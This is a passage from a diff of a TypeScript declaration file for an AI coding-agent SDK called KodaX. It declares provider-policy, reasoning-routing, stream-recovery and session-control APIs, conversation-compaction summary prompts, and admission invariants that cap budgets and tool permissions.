+ * Q4 worker-trace shape repair).
1718
+ * c. neither → returns empty messages, no title, no metadata.
1719
+ *
1720
+ * 3. **`appendPromptIfNotDuplicate`** (CAP-046) — pushes a fresh
1721
+ * `user` message UNLESS the last message of the transcript is
1722
+ * already that prompt (canonical compare). Prevents double-push
1723
+ * when REPL re-feeds the same prompt to a mid-flight `runKodaX`.
1724
+ *
1725
+ * Migration history:
1726
+ * - `extractPromptComparableText` + `extractComparableUserMessageText`
1727
+ * moved here from `input-artifacts.ts:11-32` (deferred from CAP-009
1728
+ * extraction in earlier P2 batches).
1729
+ * - `resolveInitialMessages` extracted from `agent.ts:1485-1503` (the
1730
+ * `if (options.session?.initialMessages...)` block — pre-FEATURE_100
1731
+ * baseline).
1732
+ * - `appendPromptIfNotDuplicate` extracted from `agent.ts:1503-1511`
1733
+ * (the duplicate-detection + push block — pre-FEATURE_100 baseline).
1734
+ *
1735
+ * All extractions during FEATURE_100 P2.
1736
+ */
1737
+
1738
+ declare function extractPromptComparableText(content: string | readonly KodaXContentBlock[]): string;
1739
+ declare function extractComparableUserMessageText(message: KodaXMessage | undefined): string | undefined;
1740
+
1741
+ type KodaXProviderSourceKind = 'builtin' | 'runtime' | 'custom' | 'unknown';
1742
+ interface KodaXProviderCapabilitySnapshot {
1743
+ provider: string;
1744
+ model?: string;
1745
+ sourceKind: KodaXProviderSourceKind;
1746
+ transport: KodaXProviderCapabilityProfile['transport'];
1747
+ conversationSemantics: KodaXProviderCapabilityProfile['conversationSemantics'];
1748
+ mcpSupport: KodaXProviderCapabilityProfile['mcpSupport'];
1749
+ contextFidelity: NonNullable<KodaXProviderCapabilityProfile['contextFidelity']>;
1750
+ toolCallingFidelity: NonNullable<KodaXProviderCapabilityProfile['toolCallingFidelity']>;
1751
+ sessionSupport: NonNullable<KodaXProviderCapabilityProfile['sessionSupport']>;
1752
+ longRunningSupport: NonNullable<KodaXProviderCapabilityProfile['longRunningSupport']>;
1753
+ multimodalSupport: NonNullable<KodaXProviderCapabilityProfile['multimodalSupport']>;
1754
+ evidenceSupport: NonNullable<KodaXProviderCapabilityProfile['evidenceSupport']>;
1755
+ reasoningCapability: KodaXReasoningCapability;
1756
+ }
1757
+ type KodaXProviderPolicyIssueSeverity = 'warn' | 'block';
1758
+ interface KodaXProviderPolicyIssue {
1759
+ code: string;
1760
+ severity: KodaXProviderPolicyIssueSeverity;
1761
+ summary: string;
1762
+ detail: string;
1763
+ }
1764
+ interface KodaXProviderPolicyDecision {
1765
+ status: 'allow' | 'warn' | 'block';
1766
+ snapshot: KodaXProviderCapabilitySnapshot;
1767
+ issues: KodaXProviderPolicyIssue[];
1768
+ routingNotes: string[];
1769
+ summary: string;
1770
+ }
1771
+ interface EvaluateProviderPolicyOptions {
1772
+ providerName: string;
1773
+ model?: string;
1774
+ provider?: KodaXBaseProvider;
1775
+ capabilityProfile?: KodaXProviderCapabilityProfile;
1776
+ reasoningCapability?: KodaXReasoningCapability;
1777
+ prompt?: string;
1778
+ options?: Pick<KodaXOptions, 'context'>;
1779
+ context?: KodaXContextOptions;
1780
+ hints?: KodaXProviderPolicyHints;
1781
+ reasoningMode?: KodaXReasoningMode;
1782
+ taskType?: KodaXTaskType;
1783
+ executionMode?: KodaXExecutionMode;
1784
+ }
1785
+ declare function buildProviderCapabilitySnapshot(options: {
1786
+ providerName: string;
1787
+ model?: string;
1788
+ provider?: KodaXBaseProvider;
1789
+ capabilityProfile?: KodaXProviderCapabilityProfile;
1790
+ reasoningCapability?: KodaXReasoningCapability;
1791
+ }): KodaXProviderCapabilitySnapshot;
1792
+ declare function buildProviderPolicyPromptNotes(decision: KodaXProviderPolicyDecision): string[];
1793
+ declare function evaluateProviderPolicy(options: EvaluateProviderPolicyOptions): KodaXProviderPolicyDecision;
1794
+
1795
+ interface ReasoningPlan {
1796
+ mode: KodaXReasoningMode;
1797
+ depth: KodaXThinkingDepth;
1798
+ decision: KodaXTaskRoutingDecision;
1799
+ amaControllerDecision: KodaXAmaControllerDecision;
1800
+ promptOverlay: string;
1801
+ providerPolicy?: KodaXProviderPolicyDecision;
1802
+ }
1803
+ interface RoutingEvidenceInput {
1804
+ recentMessages?: KodaXMessage[];
1805
+ sessionErrorMetadata?: SessionErrorMetadata;
1806
+ additionalSignals?: string[];
1807
+ repoSignals?: KodaXRepoRoutingSignals;
1808
+ }
1809
+ /**
1810
+ * Resolve the **L1 user ceiling** for reasoning depth.
1811
+ *
1812
+ * In FEATURE_078 (v0.7.29) the semantics of `--reasoning <mode>` /
1813
+ * `options.reasoningMode` shifted from "all roles use this mode" to
1814
+ * "ceiling + bias for default": a hard upper bound on per-role depth
1815
+ * with the same value also serving as the suggested default when an
1816
+ * Agent declaration has no profile of its own.
1817
+ *
1818
+ * This function continues to return the user-supplied mode unchanged —
1819
+ * what changed is how downstream code consumes it. Direct callers that
1820
+ * still treat the return value as the final per-role depth will get
1821
+ * pre-FEATURE_078 behaviour (everything pinned to `userCeiling`); they
1822
+ * are migrated in this same patch to call `resolveRoleReasoning(...)`
1823
+ * instead, which honours the L1-L4 chain.
1824
+ */
1825
+ declare function resolveReasoningMode(options: KodaXOptions): KodaXReasoningMode;
1826
+ declare function reasoningModeToDepth(mode: KodaXReasoningMode): KodaXThinkingDepth;
1827
+ declare function inferTaskType(prompt: string): KodaXTaskType;
1828
+ declare function buildFallbackRoutingDecision(prompt: string, providerPolicy?: KodaXProviderPolicyDecision, routingEvidence?: RoutingEvidenceInput): KodaXTaskRoutingDecision;
1829
+ declare function buildProviderPolicyHintsForDecision(decision: KodaXTaskRoutingDecision): KodaXProviderPolicyHints;
1830
+ declare function buildAmaControllerDecision(decision: KodaXTaskRoutingDecision): KodaXAmaControllerDecision;
1831
+ declare function buildPromptOverlay(decision: KodaXTaskRoutingDecision, extraNotes?: string[], _providerPolicy?: KodaXProviderPolicyDecision, amaControllerDecision?: KodaXAmaControllerDecision): string;
1832
+ declare function createReasoningPlan(options: KodaXOptions, prompt: string, provider: KodaXBaseProvider, routingEvidence?: RoutingEvidenceInput): Promise<ReasoningPlan>;
1833
+
1834
+ /**
1835
+ * Promise-signal split for thinking-mode replay — CAP-039
1836
+ *
1837
+ * Capability inventory: docs/features/v0.7.29-capability-inventory.md#cap-039-promise-signal-split-for-thinking-mode-replay
1838
+ *
1839
+ * Recognises the convention used by managed-protocol harnesses (Scout,
1840
+ * Planner, Generator, Evaluator) to embed a single-line signal at the end
1841
+ * of an assistant turn — e.g. `[CONFIRMED H1_EXECUTE_EVAL]` — that downstream
1842
+ * lifecycle code (scout-signals.ts, evaluator gating, etc.) inspects to
1843
+ * decide whether to advance the harness state.
1844
+ *
1845
+ * Returns `[signal, residual]` where:
1846
+ * - `signal` — uppercased tag (e.g. `CONFIRMED`) or `''` when absent
1847
+ * - `residual` — the second capture group from `PROMISE_PATTERN`, used
1848
+ * by callers that want the post-signal explanatory text
1849
+ *
1850
+ * The pattern is owned by `constants.ts` so any future tweak to the
1851
+ * grammar happens in one place.
1852
+ *
1853
+ * Migration history: extracted from `agent.ts:763-767` (pre-FEATURE_100 baseline)
1854
+ * during FEATURE_100 P2.
1855
+ */
1856
+ declare function checkPromiseSignal(text: string): [string, string];
1857
+
1858
+ /**
1859
+ * KodaX Resilience Config (Feature 045)
1860
+ *
1861
+ * Resolves effective resilience configuration by merging
1862
+ * defaults, global config, and per-provider overrides.
1863
+ */
1864
+
1865
+ /**
1866
+ * Default resilience configuration values.
1867
+ * These are used when no explicit config is provided.
1868
+ */
1869
+ declare const DEFAULT_RESILIENCE_CONFIG: Required<ProviderResilienceConfig>;
1870
+ /**
1871
+ * Resolves the effective resilience configuration for a given provider.
1872
+ *
1873
+ * Merge order (later wins):
1874
+ * 1. Built-in defaults
1875
+ * 2. Global config (from KodaXOptions or config file)
1876
+ * 3. Per-provider policy override (exact provider name match)
1877
+ *
1878
+ * @param providerName - The provider to resolve config for
1879
+ * @param globalConfig - Optional global override
1880
+ * @param perProvider - Optional per-provider policy list
1881
+ * @returns Fully resolved config with all fields populated
1882
+ */
1883
+ declare function resolveResilienceConfig(providerName: string, globalConfig?: ProviderResilienceConfig, perProvider?: ProviderResiliencePolicy[]): Required<ProviderResilienceConfig>;
1884
+
1885
+ /**
1886
+ * KodaX Resilience Error Classifier (Feature 045)
1887
+ *
1888
+ * Upgrades the basic error-classification.ts with fine-grained
1889
+ * error classes and failure stage detection for the recovery ladder.
1890
+ *
1891
+ * The original classifyError() is preserved for backward compatibility.
1892
+ * This module provides classifyResilienceError() with richer semantics.
1893
+ */
1894
+
1895
+ /**
1896
+ * Classifies an error for the resilience system.
1897
+ *
1898
+ * Returns a ResilienceClassification with:
1899
+ * - errorClass: Fine-grained error category
1900
+ * - failureStage: When in the request lifecycle the error occurred
1901
+ * - retryable: Whether automatic retry is appropriate
1902
+ * - maxRetries: Maximum retry attempts
1903
+ * - baseRetryDelay: Base delay between retries (ms)
1904
+ *
1905
+ * @param error - The error to classify
1906
+ * @param currentStage - The current failure stage context (if known)
1907
+ */
1908
+ declare function classifyResilienceError(error: Error, currentStage?: FailureStage): ResilienceClassification;
1909
+
1910
+ /**
1911
+ * KodaX Stable Boundary Tracker (Feature 045)
1912
+ *
1913
+ * Tracks the "stable boundary" during provider streaming — the point
1914
+ * up to which all content is fully committed and can be safely recovered to.
1915
+ *
1916
+ * Stable boundary = index after the last fully committed assistant message
1917
+ * or tool result. Content beyond this point (live streaming text, incomplete
1918
+ * tool call JSON) is considered unstable and will be discarded on recovery.
1919
+ */
1920
+
1921
+ declare class StableBoundaryTracker {
1922
+ private state;
1923
+ private hasReceivedFirstDelta;
1924
+ private currentToolInputId;
1925
+ constructor();
1926
+ /**
1927
+ * Called before each provider request attempt.
1928
+ * Resets streaming state but preserves stable boundary position.
1929
+ */
1930
+ beginRequest(provider: string, model: string, messages: KodaXMessage[], attempt?: number, fallbackUsed?: boolean): void;
1931
+ /**
1932
+ * Called when the first stream delta is received.
1933
+ * Updates the failure stage from "before_first_delta" to "mid_stream_*".
1934
+ */
1935
+ markFirstDelta(): void;
1936
+ /**
1937
+ * Called when text delta is received.
1938
+ * Tracks the amount of live (unstable) text.
1939
+ */
1940
+ markTextDelta(text: string): void;
1941
+ /**
1942
+ * Called when thinking delta is received.
1943
+ */
1944
+ markThinkingDelta(text: string): void;
1945
+ /**
1946
+ * Called when tool input streaming starts.
1947
+ * Adds the tool call to the pending list.
1948
+ */
1949
+ markToolInputStart(toolCallId: string): void;
1950
+ /**
1951
+ * Called when a tool has been successfully executed.
1952
+ * Moves the tool from pending to executed and advances the stable boundary.
1953
+ */
1954
+ markToolExecuted(toolCallId: string): void;
1955
+ /**
1956
+ * Called when the assistant message is complete (stream ended normally).
1957
+ * This advances the stable boundary past the current assistant message.
1958
+ */
1959
+ markAssistantComplete(messages: KodaXMessage[]): void;
1960
+ /**
1961
+ * Returns the current failure stage based on tracker state.
1962
+ */
1963
+ inferFailureStage(): FailureStage;
1964
+ /**
1965
+ * Returns a read-only snapshot of the current execution state.
1966
+ */
1967
+ snapshot(): Readonly<ProviderExecutionState>;
1968
+ /**
1969
+ * Whether any delta has been received in the current request.
1970
+ */
1971
+ get hasReceivedDelta(): boolean;
1972
+ /**
1973
+ * Recovers to the last stable boundary.
1974
+ *
1975
+ * Reconstructs the message list from the stable boundary forward,
1976
+ * preserving executed tool results and discarding unstable content.
1977
+ *
1978
+ * @param messages - The current (possibly corrupted) message list
1979
+ * @returns Recovery info with reconstructed messages and metadata
1980
+ */
1981
+ recoverToStableBoundary(messages: KodaXMessage[]): {
1982
+ messages: KodaXMessage[];
1983
+ droppedToolCallIds: string[];
1984
+ executedToolCallIds: string[];
1985
+ };
1986
+ /**
1987
+ * Resets the tracker to initial state for a new conversation.
1988
+ */
1989
+ reset(): void;
1990
+ private createInitialState;
1991
+ }
1992
+
1993
+ /**
1994
+ * KodaX Recovery Coordinator (Feature 045)
1995
+ *
1996
+ * Orchestrates the 4-step recovery ladder:
1997
+ * 1. Fresh connection retry — retry with same messages (pre-delta failures)
1998
+ * 2. Stable boundary retry — reconstruct from stable boundary (mid-stream failures)
1999
+ * 3. Non-streaming fallback — switch to non-streaming mode
2000
+ * 4. Manual continue — stop and ask user for intervention
2001
+ */
2002
+
2003
+ declare class ProviderRecoveryCoordinator {
2004
+ private readonly boundaryTracker;
2005
+ private readonly config;
2006
+ private nonStreamingFallbackUsed;
2007
+ private thinkingSanitizationUsed;
2008
+ constructor(boundaryTracker: StableBoundaryTracker, config: ProviderResilienceConfig);
2009
+ /**
2010
+ * Determines the recovery action for a given failure.
2011
+ *
2012
+ * The recovery ladder selects the mildest appropriate action:
2013
+ * - Step 1 (fresh_connection_retry): For pre-delta failures
2014
+ * - Step 2 (stable_boundary_retry): For mid-stream failures
2015
+ * - Step 3 (non_streaming_fallback): For repeated streaming failures
2016
+ * - Step 4 (manual_continue): When all retries are exhausted
2017
+ */
2018
+ decideRecoveryAction(error: Error, classified: ResilienceClassification, attempt: number): RecoveryDecision;
2019
+ /**
2020
+ * Executes a recovery decision by reconstructing messages
2021
+ * from the stable boundary.
2022
+ *
2023
+ * @param messages - The current message list
2024
+ * @param decision - The recovery decision to execute
2025
+ * @returns Recovery result with reconstructed messages
2026
+ */
2027
+ executeRecovery(messages: KodaXMessage[], decision: RecoveryDecision): RecoveryResult;
2028
+ private selectRecoveryStrategy;
2029
+ private executeFreshConnectionRetry;
2030
+ private executeStableBoundaryRetry;
2031
+ private executeNonStreamingFallback;
2032
+ private executeManualContinue;
2033
+ private executeSanitizeThinking;
2034
+ /**
2035
+ * Resets the coordinator for a new request chain.
2036
+ */
2037
+ reset(): void;
2038
+ }
2039
+
2040
+ /**
2041
+ * KodaX Tool Guard (Feature 045)
2042
+ *
2043
+ * Prevents tool side-effect replay during provider recovery.
2044
+ * When recovering to a stable boundary, executed tool results must be
2045
+ * preserved and incomplete tool calls must be dropped.
2046
+ *
2047
+ * This module provides the message reconstruction logic that ensures:
2048
+ * 1. Executed tool results are preserved in the reconstructed messages
2049
+ * 2. Dropped tool calls are cleaned up (removed from pending)
2050
+ * 3. A continuation hint is appended so the model knows to continue
2051
+ * from where it left off
2052
+ */
2053
+
2054
+ /**
2055
+ * Reconstructs messages after a recovery, ensuring executed tool results
2056
+ * are preserved and dropped tool calls are cleaned up.
2057
+ *
2058
+ * @param stableMessages - Messages up to the stable boundary
2059
+ * @param executedToolCallIds - Tool calls that have been executed (preserve results)
2060
+ * @param droppedToolCallIds - Tool calls that were in progress (drop them)
2061
+ * @returns Reconstructed message list
2062
+ */
2063
+ declare function reconstructMessagesWithToolGuard(stableMessages: KodaXMessage[], executedToolCallIds: string[], droppedToolCallIds: string[]): KodaXMessage[];
2064
+
2065
+ /**
2066
+ * KodaX Agent — public SDK entry post-FEATURE_100 P3.6r/P3.6s.
2067
+ *
2068
+ * `runKodaX(opts, prompt)` is the stable SDK signature; internally it
2069
+ * delegates to `Runner.run(createDefaultCodingAgent(), …)` so SA
2070
+ * execution always flows through the Layer-A frame (Option Y deletion
2071
+ * per ADR-020 / v0.7.29 §239 §371). Substrate body lives in
2072
+ * `agent-runtime/run-substrate.ts` (`runSubstrate`) and is wired via
2073
+ * the `Agent.substrateExecutor` closure attached in `coding-preset.ts`.
2074
+ *
2075
+ * v0.7.42: `runRunKodaXInternal` is the shared implementation. The
2076
+ * embedder-facing `startKodaX` (non-blocking, returns `RunningSession`)
2077
+ * lives in `./running-session.ts` and wraps the same internal path —
2078
+ * no dual route (per feedback_no_parallel_refactor_paths).
2079
+ */
2080
+
2081
+ declare function runKodaX(options: KodaXOptions, prompt: string): Promise<KodaXResult>;
2082
+
2083
+ /**
2084
+ * RunningSession — v0.7.42 (closes gap 6 reported by KodaX Space).
2085
+ *
2086
+ * `runKodaX(opts, prompt)` is a blocking `Promise<KodaXResult>` — once
2087
+ * a run is in-flight the SDK consumer cannot observe its session id,
2088
+ * flip provider / model / reasoning mid-run, or abort cooperatively
2089
+ * without forging an external `AbortSignal` and squinting at the
2090
+ * resolved `KodaXResult` after the fact.
2091
+ *
2092
+ * `startKodaX(opts, prompt)` returns a `RunningSession` handle
2093
+ * immediately (the run starts on the next microtask). The handle
2094
+ * exposes:
2095
+ *
2096
+ * - `id` — the resolved session id (from
2097
+ * `options.session.id` or freshly generated)
2098
+ * - `currentProvider` / `currentModel` / `currentReasoning`
2099
+ * — last value the embedder requested
2100
+ * (mirrors what the next turn will see)
2101
+ * - `setProvider` / `setModel` / `setReasoning`
2102
+ * — apply between turns; the next CAP-055
2103
+ * re-resolution picks them up
2104
+ * - `abort(reason?)` — cooperative abort via internal
2105
+ * `AbortController`; honors external
2106
+ * `options.abortSignal` too (forwarded)
2107
+ * - `result` — `Promise<KodaXResult>` (same shape
2108
+ * `runKodaX` returns)
2109
+ *
2110
+ * `runKodaX` is now a thin wrapper over `startKodaX(...).result` so
2111
+ * there is no dual code path (per feedback_no_parallel_refactor_paths).
2112
+ */
2113
+
2114
+ interface RunningSession {
2115
+ /** Session id used by the underlying run (echoes options.session.id when supplied). */
2116
+ readonly id: string;
2117
+ /** Last provider value requested via constructor or `setProvider`. */
2118
+ readonly currentProvider: string;
2119
+ /** Last model value requested via constructor or `setModel`. Undefined = provider default. */
2120
+ readonly currentModel: string | undefined;
2121
+ /** Last reasoning mode requested via constructor or `setReasoning`. */
2122
+ readonly currentReasoning: KodaXReasoningMode | undefined;
2123
+ /** Whether `abort` has been called (or the external signal has fired). */
2124
+ readonly aborted: boolean;
2125
+ /** Whether the substrate has wired up the live mutators yet. */
2126
+ readonly attached: boolean;
2127
+ /** Switch provider mid-run. Applies on the next turn. */
2128
+ setProvider(name: string): void;
2129
+ /** Switch model mid-run. Pass undefined to clear an override. */
2130
+ setModel(model: string | undefined): void;
2131
+ /** Switch reasoning mode mid-run. */
2132
+ setReasoning(mode: KodaXReasoningMode | undefined): void;
2133
+ /** Cooperatively abort. The underlying provider stream sees an AbortError. */
2134
+ abort(reason?: unknown): void;
2135
+ /** Resolves to the same shape `runKodaX` returns. */
2136
+ readonly result: Promise<KodaXResult>;
2137
+ }
2138
+ /**
2139
+ * Public-friendly factory for {@link KodaXSessionControl}. Callers that
2140
+ * want the mid-run mutation surface WITHOUT the `startKodaX` wrapper
2141
+ * (e.g. building their own abort + lifecycle) can instantiate this and
2142
+ * pass it as `KodaXOptions.sessionControl`.
2143
+ */
2144
+ declare function createSessionControl(): KodaXSessionControl & KodaXSessionMutators;
2145
+ declare function startKodaX(options: KodaXOptions, prompt: string): RunningSession;
2146
+
2147
+ /**
2148
+ * v0.7.35.1 FEATURE_142 (B-R1) — Coding-flavored compaction summary prompts.
2149
+ *
2150
+ * These are the verbatim v0.7.35 compaction prompts (byte-identical to
2151
+ * the prior `SUMMARY_PROMPT` / `UPDATE_SUMMARY_PROMPT` constants in
2152
+ * `@kodax-ai/session-lineage/src/compaction/summary-generator.ts`). They
2153
+ * remain the empirically best-performing prompts on the coding domain
2154
+ * (96.7% recall on the 10-fixture eval; see
2155
+ * `tests/compaction-prompt.eval.ts`) AND happen to also be the best on
2156
+ * the non-coding domain (97.0% recall) in the same eval — the wording
2157
+ * is coding-flavored but the structure generalizes.
2158
+ *
2159
+ * Why they live here: per ADR-021, @kodax-ai/session-lineage is the
2160
+ * generic compaction primitive package and must not enumerate
2161
+ * coding-specific language ("coding agent", "file paths, function
2162
+ * names", "HTTP status codes", "## Files & Changes") in its public
2163
+ * prompt strings. Those strings now live in the @kodax-ai/coding layer
2164
+ * and are passed downward via the `summaryPrompt` /
2165
+ * `updateSummaryPrompt` parameters of `compact()` /
2166
+ * `buildCompactionPromptSnapshot()` / `generateSummary()`.
2167
+ *
2168
+ * Coding-flow callers (currently `compaction-orchestration.ts` and
2169
+ * `repl/.../commands.ts`) pass these constants explicitly so the
2170
+ * coding path produces a byte-equivalent prompt to v0.7.35 — preserving
2171
+ * the empirically validated 96.7% recall.
2172
+ *
2173
+ * Generic / non-coding consumers of @kodax-ai/session-lineage get the
2174
+ * neutral `DEFAULT_SUMMARY_PROMPT` / `DEFAULT_UPDATE_SUMMARY_PROMPT`
2175
+ * (the candidate-a-conservative eval winner) by default — they pay a
2176
+ * 2-3pt non-coding recall cost for not knowing they should pass these
2177
+ * coding-flavored prompts, but their architectural surface stays clean.
2178
+ */
2179
+ declare const CODING_SUMMARY_PROMPT = "Create a structured summary for the conversation below.\n\nThis summary will be handed to another coding agent so it can continue the same task with minimal context.\nKeep only information that is still useful for continuing the work.\n\nYou may drop:\n- completed low-value micro-steps\n- repetitive thinking\n- stale intermediate plans\n- verbose tool output details\n\nYou must keep:\n- the current goal\n- user constraints and preferences\n- current progress and unfinished work\n- blockers or unresolved questions\n- the most important next steps\n- EXACT file paths, function names, and line numbers referenced\n- EXACT error messages, HTTP status codes, and exception types\n- API endpoints, database tables, env vars, and config values mentioned\n- key decisions WITH reasoning (not just the choice)\n\nCRITICAL: Every user REQUEST and DECISION must be preserved verbatim or near-verbatim.\nNever reduce \"user asked to fix the 401 error on /api/auth/login by switching to JWT\"\nto \"user asked to fix an error\".\n\nKeep the summary concise and high-signal. Do not mechanically preserve every historical detail.\n\nFirst, wrap your analysis in <analysis> tags:\n- Walk through messages chronologically\n- Note exact file paths, function names, error codes, config values\n- Identify user's explicit requests vs inferred intent\n- Flag technical details that MUST survive compression\n\nThen output the structured summary in <summary> tags.\n\nOutput format (strict markdown, inside <summary> tags):\n\n## Goal\n[1-2 sentences describing the active goal]\n\n## Constraints & Preferences\n- [One item per line]\n- [Write \"None\" if there are no explicit constraints]\n\n## Progress\n### Completed\n- [x] [Completed work that still matters for context]\n\n### In Progress\n- [ ] [Current work that is actively underway]\n\n### Blockers\n- [Current blockers, or \"None\"]\n\n## Key Decisions\n- **[Decision]**: [Short reason]\n\n## Next Steps\n1. [Highest-priority next action]\n\n## Key Context\n- [Critical context needed to continue]\n\n## Files & Changes\n- **[exact path]**: [what was done and why]\n\n---\n\n<read-files>\n[One path per line, leave empty if none]\n</read-files>\n\n<modified-files>\n[One path per line, leave empty if none]\n</modified-files>\n\nConversation:\n";
2180
+ declare const CODING_UPDATE_SUMMARY_PROMPT = "Merge the new conversation content above into <previous-summary>.\n\nUpdate the structured summary so another coding agent can continue the task immediately.\nKeep only the information needed to continue the work.\n\nYou may remove:\n- repetitive or superseded plans\n- completed low-value steps\n- outdated blockers\n- noisy tool output details\n\nYou must preserve or update:\n- the current goal\n- user constraints and preferences\n- current progress and unfinished work\n- blockers that still matter\n- next steps based on the latest state\n- EXACT file paths, function names, and line numbers\n- EXACT error messages, HTTP status codes, and exception types\n- API endpoints, database tables, env vars, and config values\n- key decisions WITH reasoning\n\nCRITICAL: Every user REQUEST and DECISION must be preserved verbatim or near-verbatim.\n\nDo not accumulate every past detail. Compress aggressively while keeping continuation-critical context.\n\nFirst, wrap your analysis in <analysis> tags, then output the summary in <summary> tags.\n\nOutput format (strict markdown, inside <summary> tags):\n\n## Goal\n[Updated goal]\n\n## Constraints & Preferences\n- [Relevant constraints only]\n\n## Progress\n### Completed\n- [x] [Completed work that still matters]\n\n### In Progress\n- [ ] [Active work in the latest state]\n\n### Blockers\n- [Current blockers, or \"None\"]\n\n## Key Decisions\n- **[Decision]**: [Short reason]\n\n## Next Steps\n1. [Most relevant next action]\n\n## Key Context\n- [Critical context needed to continue]\n\n## Files & Changes\n- **[exact path]**: [what was done and why]\n\n---\n\n<read-files>\n[One path per line, leave empty if none]\n</read-files>\n\n<modified-files>\n[One path per line, leave empty if none]\n</modified-files>\n\nKeep every section concise.";
2181
+
2182
+ /**
2183
+ * FEATURE_101 invariant: `boundedRevise`.
2184
+ *
2185
+ * Observe-time check: warns when the per-harness revise count climbs
2186
+ * past the system soft cap. The hard cap is enforced by the budget
2187
+ * controller in `task-engine/_internal/managed-task/budget.ts`; this
2188
+ * invariant adds an admission-trace breadcrumb so dispatch-eval can
2189
+ * track "how often does the LLM hit the revise wall".
2190
+ *
2191
+ * v1 threshold = `MANAGED_TASK_MAX_REFINEMENT_ROUND_CAP + 1 = 3`
2192
+ * (one starter + two refinements). Crossing it doesn't abort the run —
2193
+ * the runtime keeps clamping at the hard cap — but it lights a warn
2194
+ * signal. The threshold is intentionally hardcoded here rather than
2195
+ * imported from `task-engine` constants: that constants module is
2196
+ * private to the task-engine, and admission is a separate concern.
2197
+ * Drift (e.g. the runtime cap changes to 4) means the warn signal
2198
+ * lights one round earlier than the hard cap, which is the desired
2199
+ * direction for a soft signal.
2200
+ *
2201
+ * No admit hook in v1 — and that stays true in v0.7.31.2 even though
2202
+ * the surrounding plumbing now supports it. v0.7.31.2 added
2203
+ * `AgentManifest.maxIterations` (admission.ts) plus the
2204
+ * `applyManifestPatch` apply branch for `clampMaxIterations`, and
2205
+ * `Runner.run` reads the post-clamp manifest cap via
2206
+ * `getAdmittedAgentBindings`. What's still missing is an admit-time
2207
+ * SOURCE: no v1 invariant inspects manifest content and emits a
2208
+ * `clampMaxIterations` patch. So the field exists, the apply path
2209
+ * exists, and the runtime enforcement exists — but `boundedRevise`
2210
+ * itself stays observe-only by design (its v1 contract is the
2211
+ * runtime soft warn, not admit-time clamping). A future version may
2212
+ * promote this invariant to admit+observe once we have a concrete
2213
+ * policy ("manifests declaring revise-heavy roles get clamped to N
2214
+ * iterations"). admission.ts §第一版 Invariant 清单 "boundedRevise:
2215
+ * maxIterations ≤ system; runtime tracks revise count" is satisfied
2216
+ * by the runtime budget controller (the hard cap) plus this
2217
+ * observe-time soft warn.
2218
+ */
2219
+
2220
+ declare const boundedRevise: QualityInvariant;
2221
+
2222
+ /**
2223
+ * FEATURE_101 invariant: `budgetCeiling`.
2224
+ *
2225
+ * Admit-time check: manifest.maxBudget must not exceed systemCap.maxBudget.
2226
+ * If it does, clamp via a `clampMaxBudget` patch — the manifest is
2227
+ * admitted with the lower value.
2228
+ *
2229
+ * Why this lives in @kodax-ai/coding (not @kodax-ai/core): the system budget
2230
+ * baseline is `DEFAULT_MANAGED_WORK_BUDGET = 200` declared in the coding
2231
+ * task-engine constants. Admission's job is to express the same policy
2232
+ * declaratively at the manifest layer; the actual runtime budget
2233
+ * controller in `task-engine/_internal/managed-task/budget.ts` enforces
2234
+ * iteration deductions per turn. This invariant adds the up-front
2235
+ * "your declared budget is over the cap" feedback to LLM-generated
2236
+ * manifests so they don't request 100k iterations and discover at
2237
+ * runtime that they get 200.
2238
+ *
2239
+ * v1 only handles maxBudget; clampMaxIterations is the `boundedRevise`
2240
+ * invariant's territory (separate-concern). Pure function.
2241
+ */
2242
+
2243
+ declare const budgetCeiling: QualityInvariant;
2244
+
2245
+ /**
2246
+ * FEATURE_101 invariant: `toolPermission`.
2247
+ *
2248
+ * Admit-time check: every tool the manifest declares must resolve to a
2249
+ * `ToolCapability` tier that systemCap.allowedToolCapabilities permits.
2250
+ * Tools whose tier is not allowed get clamped via `removeTools`.
2251
+ *
2252
+ * Tier mapping mirrors FEATURE_092's auto-mode classifier (v0.7.33) and
2253
+ * FEATURE_094's anti-escape policy (v0.7.36): the same coarse categories
2254
+ * the runtime guardrails reason about. Unknown tools (custom MCP tools,
2255
+ * extensions) default to 'subagent' — the most restrictive bucket — so
2256
+ * deployments that haven't allow-listed `subagent` capability will see
2257
+ * unknown tools clamped, which is the safe default.
2258
+ *
2259
+ * Pure function. The mapping is intentionally a flat switch instead of
2260
+ * a registry lookup: keeps the invariant pure and self-contained, and
2261
+ * the canonical tools list barely changes between releases.
2262
+ */
2263
+
2264
+ /**
2265
+ * Resolve a tool name to its capability tier. The mapping reflects the
2266
+ * canonical KodaX tool surface (see `coding/src/tools/registry.ts`).
2267
+ * Unknown names fall through to `'subagent'` — the strictest tier — so
2268
+ * the default behaviour for unaudited tools is to require explicit
2269
+ * allow-list approval.
2270
+ */
2271
+ declare function resolveToolCapability(toolName: string): ToolCapability;
2272
+ declare const toolPermission: QualityInvariant;
2273
+
2274
+ /**
2275
+ * Capability-coupled + coding-AMA-specific invariants registered by
2276
+ * @kodax-ai/coding.
2277
+ *
2278
+ * Pairs with `@kodax-ai/agent`'s pure-new invariants (`finalOwner`,
2279
+ * `handoffLegality`, `evidenceTrail`). Together they form the FEATURE_101
2280
+ * admission v1 closed set + FEATURE_106 external.
2281
+ *
2282
+ * Why this split:
2283
+ *
2284
+ * - Three pure invariants (finalOwner, handoffLegality, evidenceTrail)
2285
+ * are pure functions of admission types and live in @kodax-ai/agent.
2286
+ * - Three coupled invariants (budgetCeiling, toolPermission,
2287
+ * boundedRevise) tie into @kodax-ai/coding's budget controller /
2288
+ * tool registry / revise tracker and live here.
2289
+ * (FEATURE_184 Phase C.1: `independentReview` deleted — superseded by
2290
+ * Sidecar Verifier.)
2291
+ * - `harnessSelectionTiming` (FEATURE_106 external) reads coding's AMA
2292
+ * `ctx.recorder.scout.payload.scout.confirmedHarness` and lives here
2293
+ * too (v0.7.35.1 FEATURE_142 A-R2 moved it from @kodax-ai/agent per
2294
+ * ADR-021 — agent admission framework must not enumerate coding-AMA
2295
+ * field names).
2296
+ *
2297
+ * `registerCodingInvariants()` is the canonical bootstrap entry point
2298
+ * — call it once at SDK startup (or in test setup paired with
2299
+ * `_resetInvariantRegistry()`). The function also calls
2300
+ * `registerCoreInvariants()` so a single call wires the full v1 set +
2301
+ * harnessSelectionTiming.
2302
+ */
2303
+
2304
+ /**
2305
+ * Coding-package-supplied invariants in registration order.
2306
+ * v0.7.35.1 FEATURE_142 (A-R2): added `harnessSelectionTiming` (moved
2307
+ * from @kodax-ai/agent's pure-invariant set).
2308
+ *
2309
+ * v0.7.36 FEATURE_114: added `planBeforeMutate` — V2 plan-first
2310
+ * structural observation. Registers alongside `harnessSelectionTiming`
2311
